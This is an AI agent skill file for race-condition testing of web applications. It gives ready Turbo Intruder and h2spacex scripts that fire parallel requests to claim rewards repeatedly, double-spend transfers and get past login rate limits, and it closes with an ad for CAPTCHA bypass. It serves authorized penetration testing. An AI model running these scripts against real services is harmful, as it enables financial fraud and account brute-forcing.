race-condition

>-

INSTALLATION
npx skills add https://github.com/yaklang/hack-skills --skill race-condition
Run in your project or agent environment. Adjust flags if your CLI version differs.

SKILL.md

$27

  • Capture the state-changing request in a proxy.
  • Send 20–100 copies as simultaneously as your tooling allows.
  • Classify outcome: 0/1 expected successes vs N successes or inconsistent final state.

1. CORE CONCEPT

1.1 TOCTOU (Time-of-check to time-of-use)

Thread A                    Thread B

   |                            |

   +-- CHECK (resource OK)      |

   |                            +-- CHECK (resource OK)  ← both see "OK"

   +-- USE / UPDATE             |

   |                            +-- USE / UPDATE           ← duplicate effect

TOCTOU means the decision (check) and the mutation (use) are not one indivisible step.

1.2 Non-atomic read-then-write

Typical vulnerable pseudo-flow:

balance = SELECT balance FROM accounts WHERE id = ?

if balance >= amount:

    UPDATE accounts SET balance = balance - ? WHERE id = ?

Two concurrent requests can both pass the if before either UPDATE commits.

1.3 Database-level vs application-level locking gaps

Layer

What goes wrong

Application

In-memory flag, cache, or session says "not used yet" while DB already updated — or the reverse.

ORM / service

Two instances, no distributed lock; each thinks it owns the decision.

DB

Missing SELECT … FOR UPDATE, wrong isolation level, or logic split across multiple statements without transaction.

API gateway

Per-IP rate limit is check-then-increment — parallel burst passes duplicate checks.

Hint: UNIQUE constraints and idempotency keys often eliminate entire bug classes — test whether the app enforces them on the hot path.

2. ATTACK PATTERNS

2.1 Limit-overrun (double redeem / double claim)

Send the same authenticated request many times in parallel:

POST /api/v1/rewards/claim HTTP/1.1

Host: target.example

Authorization: Bearer <token>

Content-Type: application/json

{"reward_id":"welcome_bonus"}

Success signal: HTTP 200/201 more than once, duplicate ledger entries, or balance higher than policy allows.

2.2 Rate-limit bypass via simultaneity

If limits are implemented as counters checked per request without atomic increment:

POST /api/v1/login HTTP/1.1

Host: target.example

Content-Type: application/json

{"email":"victim@example.com","password":"wrong"}

Fire N parallel attempts in one wave; compare with N sequential attempts.

Success signal: more failures accepted than documented cap, or lockout never triggers when burst completes inside one window.

2.3 Multi-step exploitation (beat the pipeline)

Workflow: create → pay → confirm. If confirm does not cryptographically bind to pay completion:

  • Start two parallel pipelines from the same session/item.
  • Complete confirm on channel B while pay on channel A is still in-flight or abandoned.

Success signal: item marked paid/shipped without matching payment, or state skips backward.

3. HTTP/1.1 LAST-BYTE SYNCHRONIZATION

Idea: Hold all requests blocked until every socket has sent the full request except the last byte of the body; then release the final byte together so the server receives them in a tight cluster.

Client 1: [headers + body - 1 byte] ----hold----+

Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together

Client N: [headers + body - 1 byte] ----hold----+

Why: Reduces network jitter between copies compared to naive sequential paste in Repeater.

Tooling: Custom scripts, some Burp extensions, or Turbo Intruder gate pattern (see §5) as the practical stand-in for synchronized release.

4. HTTP/2 SINGLE-PACKET ATTACK

Idea: Multiplex several complete HTTP/2 streams and coalesce their frames so the first bytes of all requests exit the NIC in one TCP segment (or minimally separated). Receiver-side scheduling then processes them with sub-millisecond spacing.

Burp Repeater (modern workflows):

  • Open multiple tabs or select multiple requests.
  • Use Send group (parallel) / single-packet attack where available.
  • Prefer HTTP/2 to the target if supported.
[ Req A stream ]

  [ Req B stream ]  --HTTP/2-->  one burst -->  app worker pool

  [ Req C stream ]

Why it often beats HTTP/1.1 last-byte tricks: tighter alignment on the wire; less dependence on per-connection serialization.

5. TURBO INTRUDER TEMPLATES

Repository: PortSwigger/turbo-intruder (Burp Suite extension).

5.1 Template 1 — Same endpoint, gate release

Settings: concurrentConnections=30, requestsPerConnection=30, use a gate so all threads fire together.

Core pattern (repeat N times, then release):

for _ in range(N):

    engine.queue(request, gate='race1')

engine.openGate('race1')
def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint,

                           concurrentConnections=30,

                           requestsPerConnection=30,

                           pipeline=False,

                           engine=Engine.THREADED,

                           maxRetriesPerRequest=0

                           )

    for i in range(30):

        engine.queue(target.req, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):

    table.add(req)

Header requirement (unique per queued copy for log correlation; Turbo Intruder payload placeholder):

x-request: %s

Turbo Intruder replaces %s per request when paired with a wordlist (or other payload source) — keep this header on the base request in Repeater before sending to Turbo Intruder. Case-insensitive for HTTP; use a consistent name for log grep.

5.2 Template 2 — Multi-endpoint, same gate

Pattern: One POST to target-1 (state change) plus many GETs to target-2 (read side) released together to widen the TOCTOU window observation.

def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint,

                           concurrentConnections=30,

                           requestsPerConnection=30,

                           pipeline=False,

                           engine=Engine.THREADED,

                           maxRetriesPerRequest=0

                           )

    engine.queue(post_to_target1, gate='race1')

    for _ in range(30):

        engine.queue(get_target2, gate='race1')

    engine.openGate('race1')

Adjust hosts/paths by duplicating RequestEngine instances if endpoints differ (Turbo Intruder supports multiple engines — consult upstream docs for your Burp version).

6. CVE REFERENCE — CVE-2022-4037

CVE-2022-4037 (GitLab CE/EE): race condition leading to verified email address forgery and risk when the product acts as an OAuth identity provider — third-party account linkage/impact scenarios. CWE-362. Demonstrated in public research with HTTP/2 single-packet style timing to win narrow windows.

Takeaway for testers: email verification, OAuth linking, and "confirm ownership" flows are high-value race targets — not only coupons and balances.

References (official / neutral):

  • GitLab security advisories and vendor CVE JSON for affected version ranges

7. TOOLS

Tool

Role

PortSwigger/turbo-intruder

High-concurrency replay, gates, scripting in Burp.

JavanXD/Raceocat

Race-focused HTTP client patterns (verify compatibility with your stack).

nxenon/h2spacex

HTTP/2 low-level / single-packet style experimentation (use responsibly, authorized targets only).

Burp Suite — Repeater

Send group (parallel) / single-packet attack for multi-request synchronization.

8. DECISION TREE

START: state-changing API?

                                    |

                     NO -----------+---------- YES

                      |                        |

                   stop here              one-time / balance / verify?

                                                    |

                          +-------------------------+-------------------------+

                          |                         |                         |

                    coupon-like                 rate limit                  multi-step

                          |                         |                         |

                   parallel same req          parallel vs serial         parallel pipelines

                          |                         |                         |

                   duplicate success?           limit exceeded?          state mismatch?

                     /       \                    /       \                  /       \

                   YES       NO                 YES       NO               YES       NO

                    |         |                  |         |                |         |

              report +    try HTTP/2        report +    try TI        report +   deepen

              evidence    single-packet      evidence    gates                     per-step

                    |         |                  |         |                |         |

                    +----+----+                  +----+----+                +----+----+

                         |                            |                          |

                    tool pick                    tool pick                  tool pick

                         v                            v                          v

              Burp group / h2spacex            TI gates / Raceocat          TI + trace IDs

How to confirm (evidence checklist):

  • Reproducible duplicate success under parallelism, not flaky single retries.
  • Server-side artifact: two rows, two emails, two grants, or wrong final balance.
  • Correlate with x-request (or similar) markers or unique body fields in logs (authorized environments).

Routing summary: if the scenario is more about business rules, pricing, or workflow bypass, load skills/business-logic-vulnerabilities/SKILL.md; this file focuses on concurrency and transport-layer synchronization.

9. HTTP/2 SINGLE-PACKET ATTACK — DETAILED MECHANICS

9.1 TCP Nagle Algorithm &#x26; Frame Coalescing

TCP's Nagle algorithm (RFC 896) buffers small writes and coalesces them into fewer, larger segments. When an HTTP/2 client writes multiple HEADERS+DATA frames in rapid succession without flushing between them, the kernel merges them into a single TCP segment (up to MSS, typically ~1460 bytes on Ethernet).

Application layer:   [Stream 1 H+D] [Stream 3 H+D] [Stream 5 H+D]

                            ↓ TCP Nagle coalescing ↓

TCP segment:         [Stream 1 H+D | Stream 3 H+D | Stream 5 H+D]  ← one packet on the wire
  • TCP_NODELAY disabled (default) → Nagle active → coalescing happens naturally
  • If TCP_NODELAY is set, the client must use writev() / gather-write syscall to batch frames
  • Practical limit: ~20–30 small requests per 1460-byte MSS; exceeding this splits across packets and degrades synchronization

9.2 Server-Side Request Queue Processing

NIC IRQ → kernel recv buffer → HTTP/2 demuxer → concurrent dispatch

  ┌─ Stream 1 → worker thread A ─┐

  ├─ Stream 3 → worker thread B ─┤  sub-microsecond spacing

  └─ Stream 5 → worker thread C ─┘
  • Single recv() syscall returns the entire segment
  • HTTP/2 frame parser demultiplexes streams from same segment
  • Dispatcher fans out to application worker pool

First-to-last request dispatch gap: < 100 μs on modern servers — orders of magnitude tighter than HTTP/1.1 last-byte sync (~1–5 ms network jitter).

9.3 HTTP/2 vs HTTP/1.1 Last-Byte Comparison

Factor

HTTP/2 Single-Packet

HTTP/1.1 Last-Byte

Connections needed

1

N (one per request)

Wire synchronization

Same TCP segment

N segments released "simultaneously"

Network jitter impact

Zero (same packet)

Each connection has independent RTT

Server dispatch gap

< 100 μs

1–5 ms typical

Practical limit

~20–30 requests per MTU

Limited by connection setup

9.4 Practical Execution with h2spacex

import h2spacex

h2_conn = h2spacex.H2OnTCPSocket(

    hostname='target.example.com',

    port_number=443

)

headers_list = []

for i in range(20):

    headers_list.append([

        (':method', 'POST'),

        (':path', '/api/v1/rewards/claim'),

        (':authority', 'target.example.com'),

        (':scheme', 'https'),

        ('content-type', 'application/json'),

        ('authorization', 'Bearer TOKEN'),

    ])

h2_conn.setup_connection()

h2_conn.send_ping_frame()

h2_conn.send_multiple_requests_at_once(

    headers_list,

    body_list=[b'{"reward_id":"welcome_bonus"}'] * 20

)

responses = h2_conn.read_multiple_responses()

10. DATABASE ISOLATION LEVEL EXPLOITATION MATRIX

Isolation Level

Phenomenon Exploited

Attack Window

Typical Vulnerable Pattern

READ UNCOMMITTED

Dirty reads

Thread B reads Thread A's uncommitted write

SELECT balance sees in-flight deduction, proceeds with stale logic

READ COMMITTED

Non-repeatable reads (TOCTOU)

Both threads read committed balance, both pass check, both deduct

SELECT → app check → UPDATE without FOR UPDATE

REPEATABLE READ

Phantom reads

Snapshot isolation hides concurrent inserts; both threads see "0 claims" and insert

INSERT IF NOT EXISTS pattern without UNIQUE constraint

SERIALIZABLE

Advisory lock bypass

Application uses pg_advisory_lock() / GET_LOCK() with wrong scope or derivable key

Lock key from user input; session-vs-transaction scope mismatch

READ COMMITTED TOCTOU (most common in production)

-- Thread A                            -- Thread B

SELECT balance FROM accounts           SELECT balance FROM accounts

  WHERE id=1;  -- returns 100            WHERE id=1;  -- returns 100

-- app: 100 >= 100 ✓                   -- app: 100 >= 100 ✓

UPDATE accounts SET balance =          UPDATE accounts SET balance =

  balance - 100 WHERE id=1;             balance - 100 WHERE id=1;

COMMIT; -- balance = 0                 COMMIT; -- balance = -100 ← double-spend

Fix verification: SELECT ... FOR UPDATE should block Thread B's SELECT until Thread A commits.

REPEATABLE READ Phantom Insert

-- Thread A (snapshot at T0)           -- Thread B (snapshot at T0)

SELECT count(*) FROM claims            SELECT count(*) FROM claims

  WHERE user_id=1 AND coupon='X';        WHERE user_id=1 AND coupon='X';

-- returns 0 (snapshot)                -- returns 0 (snapshot)

INSERT INTO claims ...;                INSERT INTO claims ...;

COMMIT; -- succeeds                    COMMIT; -- succeeds ← duplicate claim

Fix: UNIQUE(user_id, coupon_id) constraint causes one INSERT to fail with duplicate key error regardless of isolation level.

SERIALIZABLE Advisory Lock Bypass

-- Application intends: one lock per coupon

SELECT pg_advisory_lock(hashtext('coupon_' || $coupon_id));

-- Bypass vectors:

--   1. Lock is session-scoped but transaction rolls back → lock persists, next txn skips

--   2. Different code path reaches claim logic without acquiring the lock

--   3. Attacker triggers claim via alternative API endpoint that lacks locking

Quick Audit Checklist

□ SHOW TRANSACTION ISOLATION LEVEL — what level is the database running?

□ Does the hot path use SELECT ... FOR UPDATE or explicit row locks?

□ Is the check-then-act sequence inside a single transaction?

□ Are UNIQUE constraints enforced on the critical state table?

□ Multi-instance deployment: is there a distributed lock (Redis SETNX / Zookeeper)?

11. LIMIT-OVERRUN ATTACK PATTERNS

11.1 Coupon / Promo Code Reuse

Target:   POST /api/apply-coupon {"code":"SUMMER50"}

Expected: One use per user

Attack:   20 parallel identical requests

Evidence: Multiple 200 responses, final order total = N × discount applied

Variations: same coupon across different cart items; apply-coupon + checkout in parallel (coupon consumed only at checkout).

11.2 Vote / Rating Manipulation

Target:   POST /api/vote {"post_id":123,"direction":"up"}

Expected: One vote per user per post

Attack:   50 parallel vote requests

Evidence: Vote count += N, or DB shows multiple vote rows for same user+post

11.3 Balance Double-Spend

Target:   POST /api/transfer {"to":"attacker","amount":100}

Balance:  Exactly 100

Attack:   2+ parallel transfers

Evidence: Both succeed, sender balance goes negative, recipient receives 200

Higher-value variant: withdrawal to external system (crypto, bank wire) where reversal is difficult.

11.4 Inventory Oversell

Target:   POST /api/purchase {"item_id":"limited_edition","qty":1}

Stock:    1 remaining

Attack:   20 parallel purchase requests

Evidence: Multiple orders created, stock counter goes negative

Compound attack: add-to-cart and checkout are separate steps, each checking inventory independently.

11.5 Referral / Signup Bonus

Target:   POST /api/referral/claim {"code":"REF_ABC"}

Expected: One claim per referred user

Attack:   Parallel claims from same session

Evidence: Bonus credited to referrer multiple times

12. SINGLE-PACKET MULTI-ENDPOINT ATTACK

Instead of N copies of the same request, send requests to different endpoints in one HTTP/2 single-packet burst. This widens the TOCTOU window by hitting both the check and use paths simultaneously.

Pattern 1: State-check + State-mutate

Single TCP segment:

  Stream 1: GET  /api/balance       ← probe pre-state

  Stream 3: POST /api/transfer      ← mutate

  Stream 5: POST /api/transfer      ← mutate (duplicate)

  Stream 7: GET  /api/balance       ← probe post-state

Balance inconsistency between stream 1 and stream 7 confirms the race window was hit.

Pattern 2: Cross-resource race

Single TCP segment:

  Stream 1: POST /api/coupon/apply   ← apply discount

  Stream 3: POST /api/order/checkout ← finalize order

If coupon application and checkout check prices independently, the discount may apply after checkout has locked the price.

Pattern 3: Auth verification + Privileged action

Single TCP segment:

  Stream 1: POST /api/email/verify?token=TOKEN  ← verify email

  Stream 3: POST /api/account/upgrade            ← requires verified email

Upgrade may succeed during the brief window where verification is processing but not yet committed.

Practical setup

Burp Repeater: add requests targeting different paths to the same group → "Send group (single packet)".

headers_balance = [(':method','GET'), (':path','/api/balance'), ...]

headers_transfer = [(':method','POST'), (':path','/api/transfer'), ...]

all_headers = [headers_balance] + [headers_transfer]*5 + [headers_balance]

all_bodies = [b''] + [b'{"to":"attacker","amount":100}']*5 + [b'']

h2_conn.send_multiple_requests_at_once(all_headers, body_list=all_bodies)

Related

  • business-logic-vulnerabilities — workflow, coupon abuse, and logic-first checklists (../business-logic-vulnerabilities/SKILL.md).
BrowserAct

Let your agent run on any real-world website

Bypass CAPTCHA & anti-bot for free. Start local, scale to cloud.

Explore BrowserAct Skills →

Stop writing automation&scrapers

Install the CLI. Run your first Skill in 30 seconds. Scale when you're ready.

Start free
free · no credit card